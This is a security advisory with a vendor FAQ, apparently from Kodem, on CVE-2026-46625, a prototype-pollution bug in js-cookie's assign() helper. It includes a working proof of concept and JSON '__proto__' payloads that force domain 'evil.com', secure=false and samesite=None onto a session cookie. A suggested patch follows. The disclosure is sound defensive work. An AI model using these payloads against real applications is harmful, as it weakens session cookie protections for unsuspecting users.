CVE-2026-46625

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Affected code

// src/assign.mjs, full file
export default function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i]
    for (var key in source) {                 // includes own enumerable '__proto__'
      target[key] = source[key]                // [[Set]] form - fires __proto__ setter
    }
  }
  return target
}

Proof of concept

Node 22.11.0, no third-party deps:

Environment setup

mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookie

PoC

ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
  get cookie() { return ''; },
  set cookie(v) { lastSetCookie = v; }
};

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse(
  '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);

Execution:

Suggested patch

--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
 export default function (target) {
   for (var i = 1; i < arguments.length; i++) {
     var source = arguments[i]
-    for (var key in source) {
-      target[key] = source[key]
-    }
+    for (var key in source) {
+      if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+      Object.defineProperty(target, key, {
+        value: source[key],
+        writable: true,
+        enumerable: true,
+        configurable: true,
+      })
+    }
   }
   return target
 }

Equivalent one-liner alternative - iterate own names only and filter:

for (const key of Object.getOwnPropertyNames(source)) {
  if (key === '__proto__') continue
  target[key] = source[key]
}

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs);   // cfg.cookieAttrs influenced by attacker

A payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

CVE-2026-46625 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.7); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-46625? CVE-2026-46625 is a high-severity security vulnerability in js-cookie (npm), affecting versions <= 3.0.5. It is fixed in 3.0.7.
2. How severe is CVE-2026-46625? CVE-2026-46625 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of js-cookie are affected by CVE-2026-46625? js-cookie (npm) versions <= 3.0.5 is affected.
4. Is there a fix for CVE-2026-46625? Yes. CVE-2026-46625 is fixed in 3.0.7. Upgrade to this version or later.
5. Is CVE-2026-46625 exploitable, and should I be worried? Whether CVE-2026-46625 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-46625 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-46625? Upgrade js-cookie to 3.0.7 or later.